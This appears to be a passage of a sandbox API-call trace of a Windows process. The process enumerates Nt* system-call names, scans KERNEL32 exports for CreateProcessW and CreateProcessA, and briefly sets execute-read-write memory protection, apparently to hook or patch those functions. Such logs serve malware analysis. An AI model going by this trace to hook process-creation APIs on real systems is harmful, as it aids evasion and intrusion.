[0042.628] lstrlenA (lpString="NtAccessCheckByTypeResultList") returned 29 [0042.628] lstrlenA (lpString="NtAccessCheckByTypeResultListAndAuditAlarm") returned 42 [0042.628] lstrlenA (lpString="NtAccessCheckByTypeResultListAndAuditAlarmByHandle") returned 50 [0042.628] lstrlenA (lpString="NtAddAtom") returned 9 [0042.628] lstrlenA (lpString="NtAddBootEntry") returned 14 [0042.628] lstrlenA (lpString="NtAddDriverEntry") returned 16 [0042.628] lstrlenA (lpString="NtAdjustGroupsToken") returned 19 [0042.629] lstrlenA (lpString="NtAdjustPrivilegesToken") returned 23 [0042.629] lstrlenA (lpString="NtAlertResumeThread") returned 19 [0042.629] lstrlenA (lpString="NtAlertThread") returned 13 [0042.629] lstrlenA (lpString="NtAllocateLocallyUniqueId") returned 25 [0042.629] lstrlenA (lpString="NtAllocateReserveObject") returned 23 [0042.629] lstrlenA (lpString="NtAllocateUserPhysicalPages") returned 27 [0042.629] lstrlenA (lpString="NtAllocateUuids") returned 15 [0042.629] lstrlenA (lpString="NtAllocateVirtualMemory") returned 23 [0042.629] lstrlenA (lpString="NtAlpcAcceptConnectPort") returned 23 [0042.629] lstrlenA (lpString="NtAlpcCancelMessage") returned 19 [0042.629] lstrlenA (lpString="NtAlpcConnectPort") returned 17 [0042.629] lstrlenA (lpString="NtAlpcCreatePort") returned 16 [0042.629] lstrlenA (lpString="NtAlpcCreatePortSection") returned 23 [0042.629] lstrlenA (lpString="NtAlpcCreateResourceReserve") returned 27 [0042.629] lstrlenA (lpString="NtAlpcCreateSectionView") returned 23 [0042.629] lstrlenA (lpString="NtAlpcCreateSecurityContext") returned 27 [0042.629] lstrlenA (lpString="NtAlpcDeletePortSection") returned 23 [0042.629] lstrlenA (lpString="NtAlpcDeleteResourceReserve") returned 27 [0042.629] lstrlenA (lpString="NtAlpcDeleteSectionView") returned 23 [0042.629] lstrlenA (lpString="NtAlpcDeleteSecurityContext") returned 27 [0042.629] lstrlenA (lpString="NtAlpcDisconnectPort") returned 20 [0042.629] lstrlenA (lpString="NtAlpcImpersonateClientOfPort") returned 29 [0042.629] lstrlenA (lpString="NtAlpcOpenSenderProcess") returned 23 [0042.629] lstrlenA (lpString="NtAlpcOpenSenderThread") returned 22 [0042.629] lstrlenA (lpString="NtAlpcQueryInformation") returned 22 [0042.629] lstrlenA (lpString="NtAlpcQueryInformationMessage") returned 29 [0042.629] lstrlenA (lpString="NtAlpcRevokeSecurityContext") returned 27 [0042.629] lstrlenA (lpString="NtAlpcSendWaitReceivePort") returned 25 [0042.629] lstrlenA (lpString="NtAlpcSetInformation") returned 20 [0042.629] lstrlenA (lpString="NtApphelpCacheControl") returned 21 [0042.629] lstrlenA (lpString="NtAreMappedFilesTheSame") returned 23 [0042.629] lstrlenA (lpString="NtAssignProcessToJobObject") returned 26 [0042.629] lstrlenA (lpString="NtCallbackReturn") returned 16 [0042.629] lstrlenA (lpString="NtCancelIoFile") returned 14 [0042.629] lstrlenA (lpString="NtCancelIoFileEx") returned 16 [0042.629] lstrlenA (lpString="NtCancelSynchronousIoFile") returned 25 [0042.629] lstrlenA (lpString="NtCancelTimer") returned 13 [0042.629] lstrlenA (lpString="NtClearEvent") returned 12 [0042.629] lstrlenA (lpString="NtClose") returned 7 [0042.630] lstrlenA (lpString="NtCloseObjectAuditAlarm") returned 23 [0042.630] lstrlenA (lpString="NtCommitComplete") returned 16 [0042.630] lstrlenA (lpString="NtCommitEnlistment") returned 18 [0042.630] lstrlenA (lpString="NtCommitTransaction") returned 19 [0042.630] lstrlenA (lpString="NtCompactKeys") returned 13 [0042.630] lstrlenA (lpString="NtCompareTokens") returned 15 [0042.630] lstrlenA (lpString="NtCompleteConnectPort") returned 21 [0042.630] lstrlenA (lpString="NtCompressKey") returned 13 [0042.630] lstrlenA (lpString="NtConnectPort") returned 13 [0042.630] lstrlenA (lpString="NtContinue") returned 10 [0042.630] lstrlenA (lpString="NtCreateDebugObject") returned 19 [0042.630] lstrlenA (lpString="NtCreateDirectoryObject") returned 23 [0042.630] lstrlenA (lpString="NtCreateEnlistment") returned 18 [0042.630] lstrlenA (lpString="NtCreateEvent") returned 13 [0042.630] lstrlenA (lpString="NtCreateEventPair") returned 17 [0042.630] lstrlenA (lpString="NtCreateFile") returned 12 [0042.630] lstrlenA (lpString="NtCreateIoCompletion") returned 20 [0042.630] lstrlenA (lpString="NtCreateJobObject") returned 17 [0042.630] lstrlenA (lpString="NtCreateJobSet") returned 14 [0042.630] lstrlenA (lpString="NtCreateKey") returned 11 [0042.630] lstrlenA (lpString="NtCreateKeyTransacted") returned 21 [0042.630] lstrlenA (lpString="NtCreateKeyedEvent") returned 18 [0042.630] lstrlenA (lpString="NtCreateMailslotFile") returned 20 [0042.630] lstrlenA (lpString="NtCreateMutant") returned 14 [0042.630] lstrlenA (lpString="NtCreateNamedPipeFile") returned 21 [0042.630] lstrlenA (lpString="NtCreatePagingFile") returned 18 [0042.630] lstrlenA (lpString="NtCreatePort") returned 12 [0042.630] lstrlenA (lpString="NtCreatePrivateNamespace") returned 24 [0042.630] lstrlenA (lpString="NtCreateProcess") returned 15 [0042.630] lstrlenA (lpString="NtCreateProcessEx") returned 17 [0042.630] lstrlenA (lpString="NtCreateProfile") returned 15 [0042.630] lstrlenA (lpString="NtCreateProfileEx") returned 17 [0042.630] lstrlenA (lpString="NtCreateResourceManager") returned 23 [0042.630] lstrlenA (lpString="NtCreateSection") returned 15 [0042.637] GetModuleHandleA (lpModuleName="ADVAPI32.DLL") returned 0x7fefd710000 [0042.637] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0042.638] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6ee90 [0042.638] lstrcmpA (lpString1="AcquireSRWLockExclusive", lpString2="CreateProcessW") returned -1 [0042.638] lstrcmpA (lpString1="AcquireSRWLockShared", lpString2="CreateProcessW") returned -1 [0042.638] lstrcmpA (lpString1="ActivateActCtx", lpString2="CreateProcessW") returned -1 [0042.638] lstrcmpA (lpString1="AddAtomA", lpString2="CreateProcessW") returned -1 [0042.638] lstrcmpA (lpString1="AddAtomW", lpString2="CreateProcessW") returned -1 [0042.638] lstrcmpA (lpString1="AddConsoleAliasA", lpString2="CreateProcessW") returned -1 [0042.638] lstrcmpA (lpString1="AddConsoleAliasW", lpString2="CreateProcessW") returned -1 [0042.638] lstrcmpA (lpString1="AddIntegrityLabelToBoundaryDescriptor", lpString2="CreateProcessW") returned -1 [0042.638] lstrcmpA (lpString1="AddLocalAlternateComputerNameA", lpString2="CreateProcessW") returned -1 [0042.638] lstrcmpA (lpString1="AddLocalAlternateComputerNameW", lpString2="CreateProcessW") returned -1 [0042.638] lstrcmpA (lpString1="AddRefActCtx", lpString2="CreateProcessW") returned -1 [0042.638] lstrcmpA (lpString1="AddSIDToBoundaryDescriptor", lpString2="CreateProcessW") returned -1 [0042.638] lstrcmpA (lpString1="AddSecureMemoryCacheCallback", lpString2="CreateProcessW") returned -1 [0042.638] lstrcmpA (lpString1="AddVectoredContinueHandler", lpString2="CreateProcessW") returned -1 [0042.638] lstrcmpA (lpString1="AddVectoredExceptionHandler", lpString2="CreateProcessW") returned -1 [0042.638] lstrcmpA (lpString1="AdjustCalendarDate", lpString2="CreateProcessW") returned -1 [0042.638] lstrcmpA (lpString1="AllocConsole", lpString2="CreateProcessW") returned -1 [0042.638] lstrcmpA (lpString1="AllocateUserPhysicalPages", lpString2="CreateProcessW") returned -1 [0042.638] lstrcmpA (lpString1="AllocateUserPhysicalPagesNuma", lpString2="CreateProcessW") returned -1 [0042.638] lstrcmpA (lpString1="ApplicationRecoveryFinished", lpString2="CreateProcessW") returned -1 [0042.638] lstrcmpA (lpString1="ApplicationRecoveryInProgress", lpString2="CreateProcessW") returned -1 [0042.638] lstrcmpA (lpString1="AreFileApisANSI", lpString2="CreateProcessW") returned -1 [0042.638] lstrcmpA (lpString1="AssignProcessToJobObject", lpString2="CreateProcessW") returned -1 [0042.638] lstrcmpA (lpString1="AttachConsole", lpString2="CreateProcessW") returned -1 [0042.638] lstrcmpA (lpString1="BackupRead", lpString2="CreateProcessW") returned -1 [0042.638] lstrcmpA (lpString1="BackupSeek", lpString2="CreateProcessW") returned -1 [0042.638] lstrcmpA (lpString1="BackupWrite", lpString2="CreateProcessW") returned -1 [0042.638] lstrcmpA (lpString1="BaseCheckAppcompatCache", lpString2="CreateProcessW") returned -1 [0042.638] lstrcmpA (lpString1="BaseCheckAppcompatCacheEx", lpString2="CreateProcessW") returned -1 [0042.638] lstrcmpA (lpString1="BaseCheckRunApp", lpString2="CreateProcessW") returned -1 [0042.638] lstrcmpA (lpString1="BaseCleanupAppcompatCacheSupport", lpString2="CreateProcessW") returned -1 [0042.638] lstrcmpA (lpString1="BaseDllReadWriteIniFile", lpString2="CreateProcessW") returned -1 [0042.638] lstrcmpA (lpString1="BaseDumpAppcompatCache", lpString2="CreateProcessW") returned -1 [0042.639] lstrcmpA (lpString1="BaseFlushAppcompatCache", lpString2="CreateProcessW") returned -1 [0042.639] lstrcmpA (lpString1="BaseFormatObjectAttributes", lpString2="CreateProcessW") returned -1 [0042.639] lstrcmpA (lpString1="BaseFormatTimeOut", lpString2="CreateProcessW") returned -1 [0042.639] lstrcmpA (lpString1="BaseGenerateAppCompatData", lpString2="CreateProcessW") returned -1 [0042.639] lstrcmpA (lpString1="BaseGetNamedObjectDirectory", lpString2="CreateProcessW") returned -1 [0042.639] lstrcmpA (lpString1="BaseInitAppcompatCacheSupport", lpString2="CreateProcessW") returned -1 [0042.639] lstrcmpA (lpString1="BaseIsAppcompatInfrastructureDisabled", lpString2="CreateProcessW") returned -1 [0042.639] lstrcmpA (lpString1="BaseQueryModuleData", lpString2="CreateProcessW") returned -1 [0042.639] lstrcmpA (lpString1="BaseSetLastNTError", lpString2="CreateProcessW") returned -1 [0042.639] lstrcmpA (lpString1="BaseThreadInitThunk", lpString2="CreateProcessW") returned -1 [0042.639] lstrcmpA (lpString1="BaseUpdateAppcompatCache", lpString2="CreateProcessW") returned -1 [0042.639] lstrcmpA (lpString1="BaseVerifyUnicodeString", lpString2="CreateProcessW") returned -1 [0042.639] lstrcmpA (lpString1="Basep8BitStringToDynamicUnicodeString", lpString2="CreateProcessW") returned -1 [0042.639] lstrcmpA (lpString1="BasepAllocateActivationContextActivationBlock", lpString2="CreateProcessW") returned -1 [0042.639] lstrcmpA (lpString1="BasepAnsiStringToDynamicUnicodeString", lpString2="CreateProcessW") returned -1 [0042.639] lstrcmpA (lpString1="BasepCheckAppCompat", lpString2="CreateProcessW") returned -1 [0042.639] lstrcmpA (lpString1="BasepCheckBadapp", lpString2="CreateProcessW") returned -1 [0042.639] lstrcmpA (lpString1="BasepCheckWinSaferRestrictions", lpString2="CreateProcessW") returned -1 [0042.639] lstrcmpA (lpString1="BasepFreeActivationContextActivationBlock", lpString2="CreateProcessW") returned -1 [0042.639] lstrcmpA (lpString1="BasepFreeAppCompatData", lpString2="CreateProcessW") returned -1 [0042.639] lstrcmpA (lpString1="BasepMapModuleHandle", lpString2="CreateProcessW") returned -1 [0042.639] lstrcmpA (lpString1="Beep", lpString2="CreateProcessW") returned -1 [0042.639] lstrcmpA (lpString1="BeginUpdateResourceA", lpString2="CreateProcessW") returned -1 [0042.639] lstrcmpA (lpString1="BeginUpdateResourceW", lpString2="CreateProcessW") returned -1 [0042.639] lstrcmpA (lpString1="BindIoCompletionCallback", lpString2="CreateProcessW") returned -1 [0042.639] lstrcmpA (lpString1="BuildCommDCBA", lpString2="CreateProcessW") returned -1 [0042.639] lstrcmpA (lpString1="BuildCommDCBAndTimeoutsA", lpString2="CreateProcessW") returned -1 [0042.639] lstrcmpA (lpString1="BuildCommDCBAndTimeoutsW", lpString2="CreateProcessW") returned -1 [0042.639] lstrcmpA (lpString1="BuildCommDCBW", lpString2="CreateProcessW") returned -1 [0042.639] lstrcmpA (lpString1="CallNamedPipeA", lpString2="CreateProcessW") returned -1 [0042.639] lstrcmpA (lpString1="CallNamedPipeW", lpString2="CreateProcessW") returned -1 [0042.639] lstrcmpA (lpString1="CallbackMayRunLong", lpString2="CreateProcessW") returned -1 [0042.639] lstrcmpA (lpString1="CancelDeviceWakeupRequest", lpString2="CreateProcessW") returned -1 [0042.639] lstrcmpA (lpString1="CancelIo", lpString2="CreateProcessW") returned -1 [0042.639] lstrcmpA (lpString1="CancelIoEx", lpString2="CreateProcessW") returned -1 [0042.639] lstrcmpA (lpString1="CancelSynchronousIo", lpString2="CreateProcessW") returned -1 [0042.639] lstrcmpA (lpString1="CancelThreadpoolIo", lpString2="CreateProcessW") returned -1 [0042.639] lstrcmpA (lpString1="CancelTimerQueueTimer", lpString2="CreateProcessW") returned -1 [0042.640] lstrcmpA (lpString1="CancelWaitableTimer", lpString2="CreateProcessW") returned -1 [0042.640] lstrcmpA (lpString1="ChangeTimerQueueTimer", lpString2="CreateProcessW") returned -1 [0042.640] lstrcmpA (lpString1="CheckElevation", lpString2="CreateProcessW") returned -1 [0042.640] lstrcmpA (lpString1="CheckElevationEnabled", lpString2="CreateProcessW") returned -1 [0042.640] lstrcmpA (lpString1="CheckForReadOnlyResource", lpString2="CreateProcessW") returned -1 [0042.640] lstrcmpA (lpString1="CheckNameLegalDOS8Dot3A", lpString2="CreateProcessW") returned -1 [0042.640] lstrcmpA (lpString1="CheckNameLegalDOS8Dot3W", lpString2="CreateProcessW") returned -1 [0042.640] lstrcmpA (lpString1="CheckRemoteDebuggerPresent", lpString2="CreateProcessW") returned -1 [0042.640] lstrcmpA (lpString1="ClearCommBreak", lpString2="CreateProcessW") returned -1 [0042.640] lstrcmpA (lpString1="ClearCommError", lpString2="CreateProcessW") returned -1 [0042.640] lstrcmpA (lpString1="CloseConsoleHandle", lpString2="CreateProcessW") returned -1 [0042.640] lstrcmpA (lpString1="CloseHandle", lpString2="CreateProcessW") returned -1 [0042.640] lstrcmpA (lpString1="ClosePrivateNamespace", lpString2="CreateProcessW") returned -1 [0042.640] lstrcmpA (lpString1="CloseProfileUserMapping", lpString2="CreateProcessW") returned -1 [0042.640] lstrcmpA (lpString1="CloseThreadpool", lpString2="CreateProcessW") returned -1 [0042.640] lstrcmpA (lpString1="CloseThreadpoolCleanupGroup", lpString2="CreateProcessW") returned -1 [0042.640] lstrcmpA (lpString1="CloseThreadpoolCleanupGroupMembers", lpString2="CreateProcessW") returned -1 [0042.640] lstrcmpA (lpString1="CloseThreadpoolIo", lpString2="CreateProcessW") returned -1 [0042.640] lstrcmpA (lpString1="CloseThreadpoolTimer", lpString2="CreateProcessW") returned -1 [0042.640] lstrcmpA (lpString1="CloseThreadpoolWait", lpString2="CreateProcessW") returned -1 [0042.640] lstrcmpA (lpString1="CloseThreadpoolWork", lpString2="CreateProcessW") returned -1 [0042.640] lstrcmpA (lpString1="CmdBatNotification", lpString2="CreateProcessW") returned -1 [0042.640] lstrcmpA (lpString1="CommConfigDialogA", lpString2="CreateProcessW") returned -1 [0042.640] lstrcmpA (lpString1="CommConfigDialogW", lpString2="CreateProcessW") returned -1 [0042.640] lstrcmpA (lpString1="CompareCalendarDates", lpString2="CreateProcessW") returned -1 [0042.640] lstrcmpA (lpString1="CompareFileTime", lpString2="CreateProcessW") returned -1 [0042.640] lstrcmpA (lpString1="CompareStringA", lpString2="CreateProcessW") returned -1 [0042.640] lstrcmpA (lpString1="CompareStringEx", lpString2="CreateProcessW") returned -1 [0042.640] lstrcmpA (lpString1="CompareStringOrdinal", lpString2="CreateProcessW") returned -1 [0042.640] lstrcmpA (lpString1="CompareStringW", lpString2="CreateProcessW") returned -1 [0042.640] lstrcmpA (lpString1="ConnectNamedPipe", lpString2="CreateProcessW") returned -1 [0042.640] lstrcmpA (lpString1="ConsoleMenuControl", lpString2="CreateProcessW") returned -1 [0042.640] lstrcmpA (lpString1="ContinueDebugEvent", lpString2="CreateProcessW") returned -1 [0042.640] lstrcmpA (lpString1="ConvertCalDateTimeToSystemTime", lpString2="CreateProcessW") returned -1 [0042.640] lstrcmpA (lpString1="ConvertDefaultLocale", lpString2="CreateProcessW") returned -1 [0042.640] lstrcmpA (lpString1="ConvertFiberToThread", lpString2="CreateProcessW") returned -1 [0042.640] lstrcmpA (lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek", lpString2="CreateProcessW") returned -1 [0042.640] lstrcmpA (lpString1="ConvertSystemTimeToCalDateTime", lpString2="CreateProcessW") returned -1 [0042.641] lstrcmpA (lpString1="ConvertThreadToFiber", lpString2="CreateProcessW") returned -1 [0042.641] lstrcmpA (lpString1="ConvertThreadToFiberEx", lpString2="CreateProcessW") returned -1 [0042.641] lstrcmpA (lpString1="CopyContext", lpString2="CreateProcessW") returned -1 [0042.641] lstrcmpA (lpString1="CopyFileA", lpString2="CreateProcessW") returned -1 [0042.641] lstrcmpA (lpString1="CopyFileExA", lpString2="CreateProcessW") returned -1 [0042.641] lstrcmpA (lpString1="CopyFileExW", lpString2="CreateProcessW") returned -1 [0042.641] lstrcmpA (lpString1="CopyFileTransactedA", lpString2="CreateProcessW") returned -1 [0042.641] lstrcmpA (lpString1="CopyFileTransactedW", lpString2="CreateProcessW") returned -1 [0042.641] lstrcmpA (lpString1="CopyFileW", lpString2="CreateProcessW") returned -1 [0042.641] lstrcmpA (lpString1="CopyLZFile", lpString2="CreateProcessW") returned -1 [0042.641] lstrcmpA (lpString1="CreateActCtxA", lpString2="CreateProcessW") returned -1 [0042.641] lstrcmpA (lpString1="CreateActCtxW", lpString2="CreateProcessW") returned -1 [0042.641] lstrcmpA (lpString1="CreateBoundaryDescriptorA", lpString2="CreateProcessW") returned -1 [0042.641] lstrcmpA (lpString1="CreateBoundaryDescriptorW", lpString2="CreateProcessW") returned -1 [0042.641] lstrcmpA (lpString1="CreateConsoleScreenBuffer", lpString2="CreateProcessW") returned -1 [0042.641] lstrcmpA (lpString1="CreateDirectoryA", lpString2="CreateProcessW") returned -1 [0042.641] lstrcmpA (lpString1="CreateDirectoryExA", lpString2="CreateProcessW") returned -1 [0042.641] lstrcmpA (lpString1="CreateDirectoryExW", lpString2="CreateProcessW") returned -1 [0042.641] lstrcmpA (lpString1="CreateDirectoryTransactedA", lpString2="CreateProcessW") returned -1 [0042.641] lstrcmpA (lpString1="CreateDirectoryTransactedW", lpString2="CreateProcessW") returned -1 [0042.641] lstrcmpA (lpString1="CreateDirectoryW", lpString2="CreateProcessW") returned -1 [0042.641] lstrcmpA (lpString1="CreateEventA", lpString2="CreateProcessW") returned -1 [0042.641] lstrcmpA (lpString1="CreateEventExA", lpString2="CreateProcessW") returned -1 [0042.641] lstrcmpA (lpString1="CreateEventExW", lpString2="CreateProcessW") returned -1 [0042.641] lstrcmpA (lpString1="CreateEventW", lpString2="CreateProcessW") returned -1 [0042.641] lstrcmpA (lpString1="CreateFiber", lpString2="CreateProcessW") returned -1 [0042.641] lstrcmpA (lpString1="CreateFiberEx", lpString2="CreateProcessW") returned -1 [0042.641] lstrcmpA (lpString1="CreateFileA", lpString2="CreateProcessW") returned -1 [0042.641] lstrcmpA (lpString1="CreateFileMappingA", lpString2="CreateProcessW") returned -1 [0042.641] lstrcmpA (lpString1="CreateFileMappingNumaA", lpString2="CreateProcessW") returned -1 [0042.641] lstrcmpA (lpString1="CreateFileMappingNumaW", lpString2="CreateProcessW") returned -1 [0042.641] lstrcmpA (lpString1="CreateFileMappingW", lpString2="CreateProcessW") returned -1 [0042.641] lstrcmpA (lpString1="CreateFileTransactedA", lpString2="CreateProcessW") returned -1 [0042.641] lstrcmpA (lpString1="CreateFileTransactedW", lpString2="CreateProcessW") returned -1 [0042.641] lstrcmpA (lpString1="CreateFileW", lpString2="CreateProcessW") returned -1 [0042.641] lstrcmpA (lpString1="CreateHardLinkA", lpString2="CreateProcessW") returned -1 [0042.641] lstrcmpA (lpString1="CreateHardLinkTransactedA", lpString2="CreateProcessW") returned -1 [0042.641] lstrcmpA (lpString1="CreateHardLinkTransactedW", lpString2="CreateProcessW") returned -1 [0042.642] lstrcmpA (lpString1="CreateHardLinkW", lpString2="CreateProcessW") returned -1 [0042.642] lstrcmpA (lpString1="CreateIoCompletionPort", lpString2="CreateProcessW") returned -1 [0042.642] lstrcmpA (lpString1="CreateJobObjectA", lpString2="CreateProcessW") returned -1 [0042.642] lstrcmpA (lpString1="CreateJobObjectW", lpString2="CreateProcessW") returned -1 [0042.642] lstrcmpA (lpString1="CreateJobSet", lpString2="CreateProcessW") returned -1 [0042.642] lstrcmpA (lpString1="CreateMailslotA", lpString2="CreateProcessW") returned -1 [0042.642] lstrcmpA (lpString1="CreateMailslotW", lpString2="CreateProcessW") returned -1 [0042.642] lstrcmpA (lpString1="CreateMemoryResourceNotification", lpString2="CreateProcessW") returned -1 [0042.642] lstrcmpA (lpString1="CreateMutexA", lpString2="CreateProcessW") returned -1 [0042.642] lstrcmpA (lpString1="CreateMutexExA", lpString2="CreateProcessW") returned -1 [0042.642] lstrcmpA (lpString1="CreateMutexExW", lpString2="CreateProcessW") returned -1 [0042.642] lstrcmpA (lpString1="CreateMutexW", lpString2="CreateProcessW") returned -1 [0042.642] lstrcmpA (lpString1="CreateNamedPipeA", lpString2="CreateProcessW") returned -1 [0042.642] lstrcmpA (lpString1="CreateNamedPipeW", lpString2="CreateProcessW") returned -1 [0042.642] lstrcmpA (lpString1="CreatePipe", lpString2="CreateProcessW") returned -1 [0042.642] lstrcmpA (lpString1="CreatePrivateNamespaceA", lpString2="CreateProcessW") returned -1 [0042.642] lstrcmpA (lpString1="CreatePrivateNamespaceW", lpString2="CreateProcessW") returned -1 [0042.642] lstrcmpA (lpString1="CreateProcessA", lpString2="CreateProcessW") returned -1 [0042.642] lstrcmpA (lpString1="CreateProcessAsUserW", lpString2="CreateProcessW") returned -1 [0042.642] lstrcmpA (lpString1="CreateProcessInternalA", lpString2="CreateProcessW") returned -1 [0042.642] lstrcmpA (lpString1="CreateProcessInternalW", lpString2="CreateProcessW") returned -1 [0042.642] lstrcmpA (lpString1="CreateProcessW", lpString2="CreateProcessW") returned 0 [0042.642] VirtualProtect (in: lpAddress=0x770e0304, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x6adfb88 | out: lpflOldProtect=0x6adfb88*=0x2) returned 1 [0042.643] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x18) returned 0x9b6ef00 [0042.643] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x18) returned 0x9b6ef20 [0042.643] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6ef00 | out: hHeap=0x9770000) returned 1 [0042.643] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6ef20 | out: hHeap=0x9770000) returned 1 [0042.643] VirtualProtect (in: lpAddress=0x770dbc00, dwSize=0xe, flNewProtect=0x40, lpflOldProtect=0x6adfb80 | out: lpflOldProtect=0x6adfb80*=0x20) returned 1 [0042.698] VirtualProtect (in: lpAddress=0x770dbc00, dwSize=0xe, flNewProtect=0x20, lpflOldProtect=0x6adfb80 | out: lpflOldProtect=0x6adfb80*=0x40) returned 1 [0042.700] VirtualProtect (in: lpAddress=0x770e0304, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x6adfb88 | out: lpflOldProtect=0x6adfb88*=0x40) returned 1 [0042.700] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb20, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb20, ReturnLength=0x0) returned 0x0 [0042.701] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0042.701] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9b6ef00 [0042.701] lstrcmpA (lpString1="AcquireSRWLockExclusive", lpString2="CreateProcessA") returned -1 [0042.701] lstrcmpA (lpString1="AcquireSRWLockShared", lpString2="CreateProcessA") returned -1 [0042.701] lstrcmpA (lpString1="ActivateActCtx", lpString2="CreateProcessA") returned -1 [0042.701] lstrcmpA (lpString1="AddAtomA", lpString2="CreateProcessA") returned -1 [0042.701] lstrcmpA (lpString1="AddAtomW", lpString2="CreateProcessA") returned -1 [0042.701] lstrcmpA (lpString1="AddConsoleAliasA", lpString2="CreateProcessA") returned -1 [0042.701] lstrcmpA (lpString1="AddConsoleAliasW", lpString2="CreateProcessA") returned -1 [0042.701] lstrcmpA (lpString1="AddIntegrityLabelToBoundaryDescriptor", lpString2="CreateProcessA") returned -1 [0042.701] lstrcmpA (lpString1="AddLocalAlternateComputerNameA", lpString2="CreateProcessA") returned -1 [0042.701] lstrcmpA (lpString1="AddLocalAlternateComputerNameW", lpString2="CreateProcessA") returned -1 [0042.701] lstrcmpA (lpString1="AddRefActCtx", lpString2="CreateProcessA") returned -1 [0042.701] lstrcmpA (lpString1="AddSIDToBoundaryDescriptor", lpString2="CreateProcessA") returned -1 [0042.701] lstrcmpA (lpString1="AddSecureMemoryCacheCallback", lpString2="CreateProcessA") returned -1 [0042.701] lstrcmpA (lpString1="AddVectoredContinueHandler", lpString2="CreateProcessA") returned -1 [0042.701] lstrcmpA (lpString1="AddVectoredExceptionHandler", lpString2="CreateProcessA") returned -1 [0042.701] lstrcmpA (lpString1="AdjustCalendarDate", lpString2="CreateProcessA") returned -1 [0042.701] lstrcmpA (lpString1="AllocConsole", lpString2="CreateProcessA") returned -1 [0042.701] lstrcmpA (lpString1="AllocateUserPhysicalPages", lpString2="CreateProcessA") returned -1 [0042.701] lstrcmpA (lpString1="AllocateUserPhysicalPagesNuma", lpString2="CreateProcessA") returned -1 [0042.701] lstrcmpA (lpString1="ApplicationRecoveryFinished", lpString2="CreateProcessA") returned -1 [0042.701] lstrcmpA (lpString1="ApplicationRecoveryInProgress", lpString2="CreateProcessA") returned -1 [0042.701] lstrcmpA (lpString1="AreFileApisANSI", lpString2="CreateProcessA") returned -1 [0042.701] lstrcmpA (lpString1="AssignProcessToJobObject", lpString2="CreateProcessA") returned -1 [0042.702] lstrcmpA (lpString1="AttachConsole", lpString2="CreateProcessA") returned -1 [0042.702] lstrcmpA (lpString1="BackupRead", lpString2="CreateProcessA") returned -1 [0042.702] lstrcmpA (lpString1="BackupSeek", lpString2="CreateProcessA") returned -1 [0042.702] lstrcmpA (lpString1="BackupWrite", lpString2="CreateProcessA") returned -1 [0042.702] lstrcmpA (lpString1="BaseCheckAppcompatCache", lpString2="CreateProcessA") returned -1 [0042.702] lstrcmpA (lpString1="BaseCheckAppcompatCacheEx", lpString2="CreateProcessA") returned -1 [0042.702] lstrcmpA (lpString1="BaseCheckRunApp", lpString2="CreateProcessA") returned -1 [0042.702] lstrcmpA (lpString1="BaseCleanupAppcompatCacheSupport", lpString2="CreateProcessA") returned -1 [0042.702] lstrcmpA (lpString1="BaseDllReadWriteIniFile", lpString2="CreateProcessA") returned -1 [0042.702] lstrcmpA (lpString1="BaseDumpAppcompatCache", lpString2="CreateProcessA") returned -1 [0042.702] lstrcmpA (lpString1="BaseFlushAppcompatCache", lpString2="CreateProcessA") returned -1 [0042.702] lstrcmpA (lpString1="BaseFormatObjectAttributes", lpString2="CreateProcessA") returned -1 [0042.702] lstrcmpA (lpString1="BaseFormatTimeOut", lpString2="CreateProcessA") returned -1 [0042.702] lstrcmpA (lpString1="BaseGenerateAppCompatData", lpString2="CreateProcessA") returned -1 [0042.702] lstrcmpA (lpString1="BaseGetNamedObjectDirectory", lpString2="CreateProcessA") returned -1 [0042.702] lstrcmpA (lpString1="BaseInitAppcompatCacheSupport", lpString2="CreateProcessA") returned -1 [0042.702] lstrcmpA (lpString1="BaseIsAppcompatInfrastructureDisabled", lpString2="CreateProcessA") returned -1 [0042.702] lstrcmpA (lpString1="BaseQueryModuleData", lpString2="CreateProcessA") returned -1 [0042.702] lstrcmpA (lpString1="BaseSetLastNTError", lpString2="CreateProcessA") returned -1 [0042.702] lstrcmpA (lpString1="BaseThreadInitThunk", lpString2="CreateProcessA") returned -1 [0042.702] lstrcmpA (lpString1="BaseUpdateAppcompatCache", lpString2="CreateProcessA") returned -1 [0042.702] lstrcmpA (lpString1="BaseVerifyUnicodeString", lpString2="CreateProcessA") returned -1 [0042.702] lstrcmpA (lpString1="Basep8BitStringToDynamicUnicodeString", lpString2="CreateProcessA") returned -1 [0042.702] lstrcmpA (lpString1="BasepAllocateActivationContextActivationBlock", lpString2="CreateProcessA") returned -1 [0042.702] lstrcmpA (lpString1="BasepAnsiStringToDynamicUnicodeString", lpString2="CreateProcessA") returned -1 [0042.702] lstrcmpA (lpString1="BasepCheckAppCompat", lpString2="CreateProcessA") returned -1 [0042.702] lstrcmpA (lpString1="BasepCheckBadapp", lpString2="CreateProcessA") returned -1 [0042.702] lstrcmpA (lpString1="BasepCheckWinSaferRestrictions", lpString2="CreateProcessA") returned -1 [0042.702] lstrcmpA (lpString1="BasepFreeActivationContextActivationBlock", lpString2="CreateProcessA") returned -1 [0042.702] lstrcmpA (lpString1="BasepFreeAppCompatData", lpString2="CreateProcessA") returned -1 [0042.702] lstrcmpA (lpString1="BasepMapModuleHandle", lpString2="CreateProcessA") returned -1 [0042.702] lstrcmpA (lpString1="Beep", lpString2="CreateProcessA") returned -1 [0042.702] lstrcmpA (lpString1="BeginUpdateResourceA", lpString2="CreateProcessA") returned -1 [0042.702] lstrcmpA (lpString1="BeginUpdateResourceW", lpString2="CreateProcessA") returned -1 [0042.702] lstrcmpA (lpString1="BindIoCompletionCallback", lpString2="CreateProcessA") returned -1 [0042.702] lstrcmpA (lpString1="BuildCommDCBA", lpString2="CreateProcessA") returned -1 [0042.702] lstrcmpA 